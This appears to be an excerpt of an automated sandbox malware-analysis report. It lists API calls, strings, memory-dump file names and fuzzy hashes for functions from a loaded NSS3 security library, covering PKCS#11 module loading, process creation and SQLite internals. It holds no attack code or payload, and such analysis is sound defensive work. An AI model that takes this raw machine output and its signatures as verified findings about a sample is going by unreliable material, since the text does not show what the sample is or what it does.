SECMOD_DestroyModule.NSS3(00000000), ref: 6CB67686
PR_NewLock.NSS3 ref: 6CB676A2

Part of subcall function 6CC198D0: calloc.MOZGLUE(00000001,00000084,6CB40936,00000001,?,6CB4102C), ref: 6CC198E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6CB676B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6CB67707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CB6771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CB67731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6CB6774A
DeleteCriticalSection.KERNEL32(?), ref: 6CB67770
free.MOZGLUE(?), ref: 6CB67779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB6779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB677AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6CB677C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CB677DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6CB67821
PORT_Alloc_Util.NSS3(?), ref: 6CB67837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6CB6785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CB6786F
SECMOD_AddNewModuleEx.NSS3 ref: 6CB678AC
free.MOZGLUE(00000000), ref: 6CB678BE
SECMOD_AddNewModuleEx.NSS3 ref: 6CB678F3
free.MOZGLUE(00000000), ref: 6CB678FC
free.MOZGLUE(00000000), ref: 6CB6791C

Part of subcall function 6CB407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CAD204A), ref: 6CB407AD
Part of subcall function 6CB407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAD204A), ref: 6CB407CD
Part of subcall function 6CB407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAD204A), ref: 6CB407D6
Part of subcall function 6CB407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CAD204A), ref: 6CB407E4
Part of subcall function 6CB407A0: TlsSetValue.KERNEL32(00000000,?,6CAD204A), ref: 6CB40864
Part of subcall function 6CB407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB40880
Part of subcall function 6CB407A0: TlsSetValue.KERNEL32(00000000,?,?,6CAD204A), ref: 6CB408CB
Part of subcall function 6CB407A0: TlsGetValue.KERNEL32(?,?,6CAD204A), ref: 6CB408D7
Part of subcall function 6CB407A0: TlsGetValue.KERNEL32(?,?,6CAD204A), ref: 6CB408FB

Strings

name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6CB674C7
kbi., xrefs: 6CB67886
NSS Internal Module, xrefs: 6CB674A2, 6CB674C6
extern:, xrefs: 6CB6772B
sql:, xrefs: 6CB676FE
Spac, xrefs: 6CB67389
dll, xrefs: 6CB6788E
,defaultModDB,internalKeySlot, xrefs: 6CB6748D, 6CB674AA
rdb:, xrefs: 6CB67744
dbm:, xrefs: 6CB67716

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: a55f350ce618fbcd51d58bd9641fbf4d401aa992a5dffb89f923d991e642c326
Instruction ID: 67676eaf66a6fda132895e63a74a4d56b35677e20d5ba9dbd603a7bb491d1210
Opcode Fuzzy Hash: a55f350ce618fbcd51d58bd9641fbf4d401aa992a5dffb89f923d991e642c326
Instruction Fuzzy Hash: 9B52F4B1E012819BEF118FA6DC097AE7BB4EF05308F144129ED19B7E41EBB1D954CB92

Function 6CB8BFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6CB8C0C8

Part of subcall function 6CC19440: LeaveCriticalSection.KERNEL32 ref: 6CC195CD
Part of subcall function 6CC19440: TlsGetValue.KERNEL32 ref: 6CC19622
Part of subcall function 6CC19440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6CC1964E

PR_EnterMonitor.NSS3 ref: 6CB8C0AE

Part of subcall function 6CC19090: LeaveCriticalSection.KERNEL32 ref: 6CC191AA
Part of subcall function 6CC19090: TlsGetValue.KERNEL32 ref: 6CC19212
Part of subcall function 6CC19090: _PR_MD_WAIT_CV.NSS3 ref: 6CC1926B

Part of subcall function 6CB40600: GetLastError.KERNEL32(?,?,?,?,?,6CB405E2), ref: 6CB40642
Part of subcall function 6CB40600: TlsGetValue.KERNEL32(?,?,?,?,?,6CB405E2), ref: 6CB4065D
Part of subcall function 6CB40600: GetLastError.KERNEL32 ref: 6CB40678
Part of subcall function 6CB40600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6CB4068A
Part of subcall function 6CB40600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB40693
Part of subcall function 6CB40600: PR_SetErrorText.NSS3(00000000,?), ref: 6CB4069D
Part of subcall function 6CB40600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,A66B552E,?,?,?,?,?,6CB405E2), ref: 6CB406CA
Part of subcall function 6CB40600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6CB405E2), ref: 6CB406E6

PR_EnterMonitor.NSS3 ref: 6CB8C0F2
PR_ExitMonitor.NSS3 ref: 6CB8C10E
PR_ExitMonitor.NSS3 ref: 6CB8C081

Part of subcall function 6CC19440: TlsGetValue.KERNEL32 ref: 6CC1945B
Part of subcall function 6CC19440: TlsGetValue.KERNEL32 ref: 6CC19479
Part of subcall function 6CC19440: EnterCriticalSection.KERNEL32 ref: 6CC19495
Part of subcall function 6CC19440: TlsGetValue.KERNEL32 ref: 6CC194E4
Part of subcall function 6CC19440: TlsGetValue.KERNEL32 ref: 6CC19532
Part of subcall function 6CC19440: LeaveCriticalSection.KERNEL32 ref: 6CC1955D

PR_EnterMonitor.NSS3 ref: 6CB8C068

Part of subcall function 6CC19090: TlsGetValue.KERNEL32 ref: 6CC190AB
Part of subcall function 6CC19090: TlsGetValue.KERNEL32 ref: 6CC190C9
Part of subcall function 6CC19090: EnterCriticalSection.KERNEL32 ref: 6CC190E5
Part of subcall function 6CC19090: TlsGetValue.KERNEL32 ref: 6CC19116
Part of subcall function 6CC19090: LeaveCriticalSection.KERNEL32 ref: 6CC1913F

Part of subcall function 6CB40600: GetProcAddress.KERNEL32(?,?), ref: 6CB40623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6CB8C14F
PR_LoadLibraryWithFlags.NSS3 ref: 6CB8C183
free.MOZGLUE(00000000), ref: 6CB8C18E
PR_LoadLibrary.NSS3(?), ref: 6CB8C1A3
PR_EnterMonitor.NSS3 ref: 6CB8C1D4
PR_ExitMonitor.NSS3 ref: 6CB8C1F3
PR_CallOnce.NSS3(6CCB2318,6CB8CA70), ref: 6CB8C210
PR_EnterMonitor.NSS3 ref: 6CB8C22B
PR_ExitMonitor.NSS3 ref: 6CB8C247
PR_EnterMonitor.NSS3 ref: 6CB8C26A
PR_ExitMonitor.NSS3 ref: 6CB8C287
PR_UnloadLibrary.NSS3(?), ref: 6CB8C2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6CB8C392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CB8C3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6CB8C3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6CB8C782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6CB8C7B5
PR_UnloadLibrary.NSS3(?), ref: 6CB8C7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6CB8C82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CB8C8BF
PORT_Alloc_Util.NSS3(?), ref: 6CB8C8D5
free.MOZGLUE(00000000), ref: 6CB8C900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CB8C9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB8C9E5
free.MOZGLUE(00000000), ref: 6CB8CA5A

Strings

NSC_ModuleDBFunc, xrefs: 6CB8C0FC
NSS_FORCE_TOKEN_LOCK, xrefs: 6CB8C77D
NSS_DISABLE_UNLOAD, xrefs: 6CB8C7B0
NSC_GetFunctionList, xrefs: 6CB8C093
Vendor NSS FIPS Interface, xrefs: 6CB8C34A
FC_GetFunctionList, xrefs: 6CB8C098
nss_mod_log, xrefs: 6CB8C3CC
NSS_ReturnModuleSpecData, xrefs: 6CB8C275
NSC_GetInterface, xrefs: 6CB8C04F
FC_GetInterface, xrefs: 6CB8C054
NSS_DEBUG_PKCS11_MODULE, xrefs: 6CB8C38D
PKCS 11, xrefs: 6CB8C2F9, 6CB8C314

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: 2f4634a6874a796c368179355c521f74abd37049d79af12ad5b0a0ee78c94844
Instruction ID: cfa360f6360eaf1d0b846a24017fc9bd20a33bc1b1a32ba6d9b604f716c677c2
Opcode Fuzzy Hash: 2f4634a6874a796c368179355c521f74abd37049d79af12ad5b0a0ee78c94844
Instruction Fuzzy Hash: 4342B0F1A062858FDF00DFA4D89ABAA3BB4FB45318F044128D809DBB65E731D915CF96

Function 6CC63FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6CC63FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CC63FFE
malloc.MOZGLUE(-00000003), ref: 6CC64016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6CC9FC62), ref: 6CC6404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CC6407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CC640A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CC640D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CC64112
malloc.MOZGLUE(00000000), ref: 6CC6411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6CC6414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CC64160
free.MOZGLUE(?), ref: 6CC6416C
malloc.MOZGLUE(?), ref: 6CC641AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6CC641EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6CC64520), ref: 6CC64244
GetEnvironmentStrings.KERNEL32 ref: 6CC6424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC64263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC64283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC642B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC642E4
malloc.MOZGLUE(00000002), ref: 6CC642FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CC64342
GetStdHandle.KERNEL32(000000F6), ref: 6CC643AB
GetStdHandle.KERNEL32(000000F5), ref: 6CC643B2
GetStdHandle.KERNEL32(000000F4), ref: 6CC643B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CC64403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CC64410

Part of subcall function 6CBFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBFC2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6CC6445E
CloseHandle.KERNEL32(?), ref: 6CC6446B
free.MOZGLUE(?), ref: 6CC64482
free.MOZGLUE(00000000), ref: 6CC64492
free.MOZGLUE(00000000), ref: 6CC644A4
GetLastError.KERNEL32 ref: 6CC644B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6CC644BE
free.MOZGLUE(?), ref: 6CC644C7
free.MOZGLUE(00000000), ref: 6CC644D5
free.MOZGLUE(00000000), ref: 6CC644EA

Strings

D, xrefs: 6CC64396
NSPR_INHERIT_FDS=, xrefs: 6CC641E9
=, xrefs: 6CC644F8

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: 39accd82a04f82878d74108a6390f5ce6bc0e6b99c2d27260052f31bf2e5d6d3
Instruction ID: 062ceb22d620798f7340e8a8bdf26baa0592ef0445507bdd0e6be547f335077d
Opcode Fuzzy Hash: 39accd82a04f82878d74108a6390f5ce6bc0e6b99c2d27260052f31bf2e5d6d3
Instruction Fuzzy Hash: 0202D470E043519FEB10DFAACAD47AEBBB4AF16308F244129DC55A7F41E7319845CB91

Function 6CB76D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6CC7A8EC,0000006C), ref: 6CB76DC6
memcpy.VCRUNTIME140(?,6CC7A958,0000006C), ref: 6CB76DDB
memcpy.VCRUNTIME140(?,6CC7A9C4,00000078), ref: 6CB76DF1
memcpy.VCRUNTIME140(?,6CC7AA3C,0000006C), ref: 6CB76E06
memcpy.VCRUNTIME140(?,6CC7AAA8,00000060), ref: 6CB76E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB76E38

Part of subcall function 6CBFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBFC2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6CB76E76
TlsGetValue.KERNEL32 ref: 6CB7726F
EnterCriticalSection.KERNEL32(?), ref: 6CB77283

Strings

!, xrefs: 6CB77123

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 1bd5feb13514ebe99b2e470408a0ebce88be58bd86a45e590d5e1ecd5c4d52ca
Instruction ID: 13efc5d4df1786dcc2a85747372e3097480d70b35e7e55c786d473b5912b8fac
Opcode Fuzzy Hash: 1bd5feb13514ebe99b2e470408a0ebce88be58bd86a45e590d5e1ecd5c4d52ca
Instruction Fuzzy Hash: 0772AD75D052589FDF21CF28CC8879ABBB5EF49304F1041A9E81DA7701EB719A85CFA1

Function 6CAE3C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CAE3C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6CAE3D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CAE3EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CAE3ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CAE3F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CAE4052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CAE406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6CAE410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CAE449C

Strings

%s at line %d of [%.10s], xrefs: 6CAE4495, 6CAE44F9, 6CAE459E, 6CAE4769, 6CAE4809
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CAE4452, 6CAE4486, 6CAE44EA, 6CAE4571, 6CAE4580, 6CAE458F, 6CAE475A, 6CAE47FA
database corruption, xrefs: 6CAE4490, 6CAE44F4, 6CAE4599, 6CAE4764, 6CAE4804

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: 4a9841a9b2e3c865c03f280b1b7bcd8d22a525c7cca907126d8d19fdb2c9b76e
Instruction ID: 60d9fabef2208a490349ee47ca9ff05e4352f5f5cf70e92e4a3341212cf879ed
Opcode Fuzzy Hash: 4a9841a9b2e3c865c03f280b1b7bcd8d22a525c7cca907126d8d19fdb2c9b76e
Instruction Fuzzy Hash: B2829174A05205CFCB04CFA9C490B99B7B5BF4D318F2981A9D905ABB61E731EC82DBD1

Function 6CBBAC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CBBACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6CBBACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6CBBACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6CBBAD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CBBADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBBADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBBADF0

Part of subcall function 6CBFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBFC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBBB06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBBB08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CBBB1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CBBB27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6CBBB2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CBBB3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBBB40C

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: d1dccce33cc61b33605ab7fb0c497d31ce1d4f6495ec4750ba5d5e6005534d8f
Instruction ID: b830ae587a9e1628bac2a953fdf62ada4dc5510b91bcc5e1064f2ae05d630b9b
Opcode Fuzzy Hash: d1dccce33cc61b33605ab7fb0c497d31ce1d4f6495ec4750ba5d5e6005534d8f
Instruction Fuzzy Hash: D822A171904381AFE710CF14CC84BAA77E5EF44308F24857CE8596B792EB72E859CB92

Function 6CB01F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CB025F3

Strings

recursive reference in a subquery: %s, xrefs: 6CB022E5
cannot have both ON and USING clauses in the same join, xrefs: 6CB032B5
unsafe use of virtual table "%s", xrefs: 6CB030D1
too many columns in result set, xrefs: 6CB03012
cannot join using column %s - column not present in both tables, xrefs: 6CB032AB
%s.%s, xrefs: 6CB02D68
table %s has %d values for %d columns, xrefs: 6CB0316C
too many references to "%s": max 65535, xrefs: 6CB02FB6
access to view "%s" prohibited, xrefs: 6CB02F4A
H, xrefs: 6CB0322D
a NATURAL join may not have an ON or USING clause, xrefs: 6CB032C1
multiple recursive references: %s, xrefs: 6CB022E0
no such index: "%s", xrefs: 6CB0319D
no tables specified, xrefs: 6CB026BE
'%s' is not a function, xrefs: 6CB02FD2
no such table: %s, xrefs: 6CB026AC
H, xrefs: 6CB0329F
%s.%s.%s, xrefs: 6CB0302D

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: b248ec4d1a471e56fc8af9a9c68f3874da16c0bd8131a9239e0e56503d80f27a
Instruction ID: 5307056d27e25c5864968177958568cd003a64e380a047f7c83f976f1d3b572b
Opcode Fuzzy Hash: b248ec4d1a471e56fc8af9a9c68f3874da16c0bd8131a9239e0e56503d80f27a
Instruction Fuzzy Hash: 73D26E74F04289CFDB04CF95C498B9EBBB1FF49308F248169D855ABB51E731A84ACB52

Function 6CB3ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CB3ED38

Part of subcall function 6CAD4F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAD4FC4

sqlite3_mprintf.NSS3(snippet), ref: 6CB3EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6CB3EFE4

Part of subcall function 6CBFDFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CAD5001,?,00000003,00000000), ref: 6CBFDFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6CB3F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6CB3F129
sqlite3_mprintf.NSS3(optimize), ref: 6CB3F1D1
sqlite3_free.NSS3(?), ref: 6CB3F368

Strings

snippet, xrefs: 6CB3EF05, 6CB3EF37, 6CB3EF7C
fts3, xrefs: 6CB3F247
fts4, xrefs: 6CB3F2AD
optimize, xrefs: 6CB3F199, 6CB3F1CC, 6CB3F211
matchinfo, xrefs: 6CB3F04F, 6CB3F082, 6CB3F0C2, 6CB3F0F2, 6CB3F124, 6CB3F169
offsets, xrefs: 6CB3EFAF, 6CB3EFDF, 6CB3F01F
simple, xrefs: 6CB3ED79
fts3tokenize, xrefs: 6CB3F30F
fts3_tokenizer, xrefs: 6CB3EE1A, 6CB3EEA8
fts4aux, xrefs: 6CB3ECF9
unicode61, xrefs: 6CB3EDB5
porter, xrefs: 6CB3ED97

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
